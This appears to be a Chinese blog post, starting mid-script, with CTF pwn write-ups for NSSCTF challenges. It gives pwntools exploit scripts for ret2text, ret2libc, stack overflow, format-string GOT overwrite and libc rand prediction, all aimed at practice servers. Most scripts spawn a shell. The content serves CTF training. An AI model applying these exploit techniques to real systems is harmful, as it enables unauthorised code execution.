sla(b'100): ', str((libc.rand() % 100) + 1))
inter()
[GDOUCTF 2023]小学数学

需要写三百道计算题，有实力的大佬可以考虑自己算，这里我们选择了写个脚本

exp

def tt(a, b, c):
	if b == b'//':
		return str(a * c)
	elif b == b'-':
		return str(a + c)
	elif b == b'x':
		return str(a - c)
	elif b == b'%':
		return str(a // c)
	else:
		return str(a % c)
sl('')

for i in range(300):
	rl(b'Round: ' + str(i+1).encode() + b'\n')
	a = int(rl(b' ')[:-1])
	b = rl(b' ')[:-1]
	c = int(rl(b' ')[:-1])
	sl(tt(a, b, c))
pr()
pr()
pr()
[HUBUCTF 2022 新生赛]ez_pwn

64位保护全开。

也是需要使用伪随机数种子生成随机数，获得flag。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',21699)
elf = ELF('pwn (2)')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

sla(b'there?\n', b'1')
srand = libc.srand(libc.time(0))
for i in range(100):
	sla(b'it?\n', str((libc.rand()%100000) + 1))
pr()
[SWPUCTF 2022 新生赛]FindanotherWay

64位ret2text。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',28917)
elf=ELF('./FindanotherWay')

ret=0x40101a
payload=b'a'*(0xc+8)+p64(ret)+p64(0x401230)
sla(b'way?\n',payload)
inter()
[MoeCTF 2022]ret2libc 

64位NX保护

 

典型的ret2libc。

exp

from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
#io=process('pwn4')
io= remote('node5.anna.nssctf.cn',28982)
elf=ELF('pwn (2)')
rdi = 0x40117e
ret = 0x40101a
main=0x401183
rsi_r15=0x4007d1

#payload1=b'a'*(0x28)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(elf.got['read'])+p64(1)+p64(elf.plt['write'])+p64(ret)+p64(main)
payload1=b'a'*(0x48)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
puts_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=LibcSearcher('puts',puts_ad)
'''
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
'''
libc = LibcSearcher('puts',puts_ad)
libc_base = puts_ad - libc.dump('puts')
print(hex(libc_base))
sys= libc_base + libc.dump('system')
sh = libc_base + libc.dump('str_bin_sh')
payload2=b'a'*(0x48)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()
[MoeCTF 2022]buffer overflow

64位保护全开

存在栈溢出。

需要覆盖v5为ans上的值。

 

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',21961)
elf=ELF('pwn (3)')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

sa(b'note:\n', b'a'*0x46+b'Limiter and Wings are beautiful girls!\x00')

inter()
[BJDCTF 2020]babyrouter

64位NX保护。

nc连接，选1，然后发送cat flag即可。

[SDCTF 2022]Oil Spill

64位开启了NX和canary保护。

存在格式化字符串漏洞。

已经给出了puts函数的真实地址。

改puts函数got表为system函数，改x为/bin/sh即可。偏移为8

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',26473)
elf=ELF('OilSpill')
libc=ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')

puts_got=int(r(14),16)
libc_base = puts_got - libc.sym['puts']
print(hex(libc_base))
system = libc_base + libc.sym['system']
payload=fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'})

sla(b'clean it?\n',payload)

inter()

拓䜣
关注
  • 27
    点赞
  • 踩
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
NSS刷题
2302_79119987的博客
05-10 1065
打开题目后查看源码无发现，用f12发现flag。
nss刷题（4）
2302_79119987的博客
06-07 887
if(isset($_GET['url'])) isset函数用来检测url变量是否存在；$_GET函数获取变量数据eval函数用来执行参数数据，并返回结果，其中字符串当作PHP代码来执行。利用eval函数进行命令执行尝试得到了根目录内容看到一个与flag有关的文件，用cat命令查看。得到flag.system函数该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回，如果执行失败则返回fale。这个函数也是经常被使用到的。2.1.2.exec函数。
nss刷题（2）
2302_79119987的博客
05-11 1127
它是一种面向属性编程，常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令，并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码，就是pop链（个人理解，欢迎师傅们提出意见）在构造pop链中，魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的，以及具体构造的思路。
NSS刷题--无参数RCE，自增RCE的学习
qq_75120258的博客
05-14 691
打开界面，什么都没有，看一下源代码，直接访问hintRCE，进行代码审计，检查 $rce 的长度是否不超过 120 个字符。检查 $rce 是否是一个字符串类型使用正则表达式检查 $rce 中是否包含某些特殊字符。如果 $rce 满足上述条件，则使用 eval 函数执行 $rce 中的代码。考无参数RCE，并且过滤了^和~，不能使用取反与异或，那就只能使用自增了使用祖传playload看一看它显示太长了，那就换种形式，我们构造参数，再上传参数，以达到减少长度的目的。
NSSCTF之Web篇刷题记录(13)
Aluxian_的博客
06-01 1111
【代码】NSSCTF之Web篇刷题记录(13)
NSS刷题--python脚本编写，伪随机数，mt_rand函数
qq_75120258的博客
05-09 646
代码审计，大致意思就是，就是mt_srand(seed)分发种子，相当于进行产生随机数的初始化，然后通过mt_rand函数获得种子，但是这个随机数并不是真正的随机，他是有可预测性的，如果我们能获得种子，就一定程度上可以获得产生的随机数，根据这个随机数进行验证的部分就不安全了，但是这个题里并没看到mt_srand()函数， 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ，因为现在是由系统自动完成的。记住，我们的代码是要加上cookie的，要不然。
[SWPU CTF]之Misc篇(NSSCTF）刷题记录⑥
Aluxian_的博客
05-01 1933
第十二张图： 新闻联播 一般我晚上 7点或者19.00。第一张图：20%和80% 猜测可能是 28或82。第三张图：而立之年 30而立嘛 肯是30。第二张图：一张八卦图 猜测是08。第六张图：飞机歼-20 20。第七张图：两只黄鹂鸣翠柳 02。第八张图：一起去看流星雨 17。第四张图：北斗七星图 07。第五张图：江南四大才子 04。第十一张图：12星座 12。第十张图：一马当先 01。第九张图：乔丹 23。
CTF刷题第二周
qq_62660611的博客
11-13 1249
刷题第二周
CTF刷题第一周
qq_62660611的博客
11-10 1484
第一周刷题记录
nss-3.9 ubuntu linux
12-24
nss-3.9 linux
NSS-mjd-acme-explosives:NSS第四周的第一轮练习（现代javascript开发人员）
05-18
NSS-MJD-ACME-炸药 NSS第四周的第一轮练习（现代javascript开发人员） 跑步 克隆项目并启动本地服务器。
NNS.rar_NSS.rar_nss
09-21
NSS genuin for windows
NSS.rar_nss 内核_哈希表
09-19
封装了Linux内核开发中的一些重要数据结构，包括队列、哈希表等，以及一些网络函数和多线程互斥机制
NSS30100LT1G的技术参数
12-10
产品型号:NSS30100LT1G类型:PNP集电极－发射集最小雪崩电压Vceo(V):30集电极最大电流Ic(max)(mA):2A直流电流增益hFE最小值(dB):100直流电流增益hFE最大值(dB):300最小电流增益带宽乘积Ft(MHz):100封装/温度(℃):SOT-...
【Linux】Xshell和Xftp简介_安装_VMware虚拟机使用
wosixiaokeai的博客
06-19 1359
Xftp是一个功能强大的SFTP、FTP文件传输软件，它允许MS Windows用户安全地在UNIX/Linux和Windows PC之间传输文件。Xftp支持SFTP协议，确保所有通过该软件的网络流量都是加密的。它采用了标准的Windows风格的向导，用户界面直观易用，可以很好地与其他Windows应用程序协同工作。Xftp的特色功能包括同步功能、直接编辑远程文件、多窗格支持、文件交换协议（FXP）支持等，这些功能使得文件传输更加容易和快捷。
Rocky Linux设置静态IP
最新发布
人工智能
06-22 334
【代码】Rocky Linux设置静态IP。
Linux开发讲课7---Linux sysfs文件系统
qq_42837317的博客
06-21 1073
Sysfs通过文件和目录的方式组织信息，其中每个文件或目录对应于系统中的一个设备、驱动程序或者其他内核对象。当内核中的设备、驱动程序等对象被创建时，相应的Kobject也会被创建，然后通过Sysfs将其信息暴露给用户空间。Sysfs通常被挂载在/sys目录下，它提供了一种方便的方式，让用户空间的程序可以动态地获取和管理系统中的设备信息，而无需直接访问内核数据结构。（2）创建sysfs文件。其中attr表示将要创建的文件（属性），而show和store分别表示对应的sysfs文件在读和写操作时的回调函数。
SUSE linux的快照和恢复
大龄IT民工
06-19 1196
openSUSE默认提供了通用场景下的快照设置，你也可以根据需要进行修改。
linux nss
02-01
Linux NSS（Name Service Switch）是一个用于管理系统名称解析的模块化框架。它允许系统管理员配置不同的名称解析服务，如DNS、LDAP、NIS等，并根据需要进行切换。 NSS的主要功能是将不同的名称解析服务统一起来，使得应用程序可以通过统一的接口进行名称解析，而不需要关心具体使用了哪种名称解析服务。这样可以提高系统的灵活性和可扩展性。 在Linux系统中，NSS由一系列动态链接库（.so文件）组成，每个库对应一个特定的名称解析服务。当应用程序需要进行名称解析时，它会调用NSS接口，NSS会根据配置文件中的优先级顺序选择合适的库进行解析。 NSS的配置文件是/etc/nsswitch.conf，其中定义了不同类型的名称解析服务的优先级顺序。例如，hosts条目定义了主机名解析服务的优先级顺序，默认情况下是先使用/etc/hosts文件进行解析，然后再使用DNS进行解析。 除了主机名解析外，NSS还可以管理其他类型的名称解析，如用户和组信息、密码和身份验证等。通过配置nsswitch.conf文件，管理员可以根据实际需求选择合适的名称解析服务。 总结一下，Linux NSS是一个模块化的名称解析框架，它允许系统管理员配置不同的名称解析服务，并提供统一的接口供应用程序进行名称解析。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值